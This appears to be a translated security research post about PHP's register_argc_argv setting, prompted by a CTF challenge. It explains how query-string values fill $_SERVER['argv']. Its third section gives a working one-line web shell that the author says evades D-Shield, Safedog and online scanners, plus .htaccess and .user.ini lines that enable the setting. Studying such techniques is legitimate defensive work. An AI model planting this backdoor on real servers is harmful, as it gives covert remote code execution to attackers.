Notes on PHP's register_argc_argv Configuration

Summary0x01 Preface During a recent Dianfeng Geek CTF, I encountered a web challenge hinting at register_argc_argv but could not solve it. I later asked yzddmr6 and searched Chinese security research, finding little. This PHP setting seemed worth documenting. My practical experience is limited, so additions are welcome…

phpregister_argc_argvOne-Line PHP Web ShellshellwebshellDetection Evasion

0x01 Preface

During a recent Dianfeng Geek CTF, I encountered aregister_argc_argvweb challenge, which I could not solve. Afterward I askedyzddmr6for his approach, then searched Chinese-language research onregister_argc_argvand found little security research, soregister_argc_argvThis PHP setting deserves study, so I am recording and sharing it. My practical experience is limited; additions and corrections are welcome.

0x02 Background

This section covers basics; experienced readers can skip to the next section.

Regardingregister_argc_argvsetting. The official site provides:

register_argc_argv boolean Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line.
register_argc_argv TRUE Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).The PHP variables $argc and $argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER array, for example: [$_SERVER'argv'].

The first table says whether PHP declaresargvandargcvariables, which may contain POST or GET data.

The second table supplements the first. Whenregister_argc_argvwhen TRUE, lets CLI SAPI populate argc (number of arguments) and argv (argument array). Under CLI SAPI, PHP variable$argcand$argvis populated automatically with appropriate values and can be found in$_SERVERarray, such as$_SERVER['argv']

A textual description may be difficult to follow, so a short example explains the setting.

First, inphp.inisearches inregister_argc_argv Set it toOn, as shown below:

1.png

The PHP manual states that the default isON

2.png

But in the official GitHub source, the default is Off

3.png

Basic testing shows that older versions (5.2.17 tested) default to On, while newer versions (5.4.45, 5.5.9, and 7.3.4 tested) default to Off.

We can therefore conclude that in the current configuration file,register_argc_argvdefaults toOff; the documentation may simply not have been updated

Returning to the topic, begin with this test code:

PHP
<?php
error_reporting(0);
$a = $_GET['a'];
echo $a;
var_dump($_SERVER[argv]);
var_dump($_SERVER);
?>

Whenregister_argc_argvis enabled:

4.png

Whenregister_argc_argvis disabled:

5.png

We can see that whenregister_argc_argvis enabled, the global scope additionally containsargvandargc

Then thisargvvariable flow through PHP? Suppose a global variable exists:$argv. Can it replace$_SERVER['argv']value?

First, know that$_GET$_POSTPHP stores these superglobals in a hash table. During REQUEST, PHP copies the table; later PHP code changes do not affect the copy. With that in mind, examine the source related to$argvrelated PHP source:

6.png
7.png

In the two PHP examples above,argvThe lookup proceeds as follows:

First checkregister_argc_argvwhether the setting is enabled, checks for CLI mode, then looks in the copied hash table for$_SERVER['argv']value. If found, return it; otherwise search the global symbol table for variables declared with global:$_GLOBALS['argv']value. This shows that$_SERVER['argv']has higher precedence than$_GLOBALS['argv'].

Thenregister_argc_argv Is that its only use? Certainly not.

CLI means Command Line Interface and SAPI means Server Application Programming Interface. SAPI is PHP's interface to other applications; CLI is one SAPI used for PHP shell applications. Here we only need to know that CLI is PHP's command-execution mode and that scripts can directly access$argv, $argcthese two global variables.

The simplest example:

PHP
// test.php
<?php
var_dump($argc);
var_dump($argv);

Run on the command line:

SHELL
php test.php -s -t test 100
8.png

We can see that$argcvalue is 5;$argvinto an array of size 5. The first element is the script filename; later elements preserve space-separated command-line order: test.php, -s, -t, test, 100.

In other words,$argcrecords array size, while$argvrecords the supplied arguments.

A question now arises: if we want to passtest 100without accepting-s -tHow should an argument like this be handled?

To solve this, PHP providesgetopt(), a built-in function specifically for complex command-line options. Its signature is:

PHP
getopt ( string $options [, array $longopts [, int &$optind ]] ) : array

Regardinggetopt()is documented as:

  • options: each character is treated as a short option matching a single hyphen, such asxrecognizes-xoption, permitting onlya-z,A-Z,0-9
  • longopts: an array of long option strings matching arguments introduced with two hyphens, such asoptrecognizes--opt
  • optind (PHP ≥7.1.0): if provided, receives the index where argument parsing stopped

The options string may contain:

  • Individual character (accepts no value)
  • Character followed by one colon (value required)
  • Character followed by two colons (value optional)

An option value is the first argument after its string. No leading space is required, but the value itself cannot contain spaces.

The descriptions are numerous, but an example makes them clear:

PHP
<?php
  // getopt.php
$test = getopt('a:b:c:de');
var_dump($test);

and then executephp getopt.php -apanda -chello -b next -dooo, producing:

9.png

Note the use ofgetopt(options), several points are worth noting:

  • optionsparameter order need not match command-line order
  • distinguishes values whether or not a space separates option and value
  • The function returns option/argument pairs, or FALSE on failure.
  • optionsindividual characters in; the returned option list'skeyis the option;valueisfalse
  • optionsoptions not specified in are not returned even if present on the command line

The function supports more cases; see the linked getopt()official documentation.

With this argument, if we next want to passtest 100without accepting-s -tAn argument like this is simple:

PHP
// newtest.php
<?php
  $argv = getopt('s:t:');
var_dump($argc);
var_dump($argv);
10.png

That is the required background. It enables several useful techniques.

0x03 Unusual Techniques

The background above shows that we can use $_GETor$_POSTto control$_SERVER['argv'];values. But testing shows that regardless of how many values are supplied directly,$argc count always remains 1;$argvvalue is obtained through $_GETor$_POSTsupplied values:

11.png

How can multiple supplied arguments occupy different positions in$_SERVER['argv']array positions?

Start with the documentation:

12.png

When invoked through GET, the variable contains query string. Next, inspect in PHP source how assignment through GET occurs.

main/php_variables.cAt approximately line 591 of the file isphp_build_argvfunction, whose body is:

C
PHPAPI void php_build_argv(const char *s, zval *track_vars_array)
{
	zval arr, argc, tmp;
	int count = 0;

	if (!(SG(request_info).argc || track_vars_array)) {
		return;
	}

	array_init(&arr);

	/* Prepare argv */
	if (SG(request_info).argc) { /* are we in cli sapi? */
		int i;
		for (i = 0; i < SG(request_info).argc; i++) {
			ZVAL_STRING(&tmp, SG(request_info).argv[i]);
			if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
				zend_string_efree(Z_STR(tmp));
			}
		}
	} else 	if (s && *s) {
		while (1) {
			const char *space = strchr(s, '+');
			/* auto-type */
			ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
			count++;
			if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
				zend_string_efree(Z_STR(tmp));
			}
			if (!space) {
				break;
			}
			s = space + 1;
		}
	}

First throughif (SG(request_info).argc)checks whether CLI SAPI is active. In CLI mode, it copies the request-info argvvalue into arr, then continues by checkingquery stringwhether it is empty. If not, the value split by+delimiter-separated strings into PHP zend_string values, then copies each zend_string into arr.

The behavior is now clear: use+delimiter to split the string as required. A basic test follows:

13.png

All problems are solved, and the feature can be used to write this one-line web shell:

PHP
<?php
$argv = $_SERVER['argv'];
$a = $_POST['a'];
$b = $_POST['b'];
foreach ($argv as $arg) {
    $e = explode("=",$arg);
	if($e[0]==$b)
		$e[0]($a);
}
?>
14.png

In testing, D-Shield reported level 1, Safedog did not detect it, and several online scanners also missed it.

15.png

One requirement for this web shell is thatregister_argc_argvsetting is enabled. But if we place it inphp.inifile, enableregister_argc_argv, which can cause all kinds of unexpected problems. As one researcher put it, 'enable register and multiply vulnerabilities by 100.' We cannot simply enable it in php.ini. Does that make this shell impractical?

That is not the case. Noticeregister_argc_argvThe setting can be configured in:

16.png

to PHP_INI_PERDIR. PHP_INI_* modes are defined as:

mode Meaning
PHP_INI_USER Can be set in a user script (for example ini_set()) or Windows Registry(since PHP 5.3) and .user.ini
PHP_INI_PERDIR Can be set in php.ini, .htaccess, or httpd.conf
PHP_INI_SYSTEM Can be set in php.ini or httpd.conf
PHP_INI_ALL Can be set anywhere

We can therefore use different methods according to whether the container is Apache or Nginx:.htaccessor.user.inito change the setting.

For Apache,.htaccessConfiguration contents:

TEXT
php_value register_argc_argv On

For Nginx,.user.iniConfiguration contents:

TEXT
register_argc_argv=On

The final result is:

17.png

0x04 Conclusion

Careful readers may notice that the background section mentioned getopt()function, although the later techniques did not use it. Another approach is possible: treat the web request as command-line mode and imitategetopt()function. I will not cover it in detail; interested readers can research it. This is only a short experience summary and exploration. Please share any additional tips.

0x05 References

https://www.php.net/manual/zh/features.commandline.php

https://www.php.net/manual/en/features.commandline.differences.php

https://www.php.net/manual/zh/reserved.variables.argv.php

https://www.php.net/reserved.variables.server

https://www.php.net/getopt

https://www.php.net/manual/zh/function.ini-set.php

https://www.php.net/manual/zh/ini.list.php

https://www.php.net/manual/zh/configuration.changes.modes.php

https://www.php.net/manual/zh/ini.core.php#ini.register-argc-argv